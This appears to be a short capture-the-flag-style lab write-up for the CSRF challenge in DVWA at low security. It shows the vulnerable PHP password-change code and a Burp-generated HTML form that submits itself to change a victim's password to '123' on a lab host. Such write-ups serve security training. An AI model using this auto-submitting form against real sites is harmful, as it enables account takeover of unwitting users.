CSRF

Security Level - Low

Source code

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Exploit

csrflowlevelreview

Intercept a password change request

csrfrequestlow

Notice we satsify the 3 CSRF conditions:

  • Relevant action (Change password)
  • Cookie-based session handling
  • No unpredictable parameters

Generate CSRF PoC using Burp and then test it in the browser

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.109.53/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

csrfpoctestlowlevel

Result

csrfresultlowlevel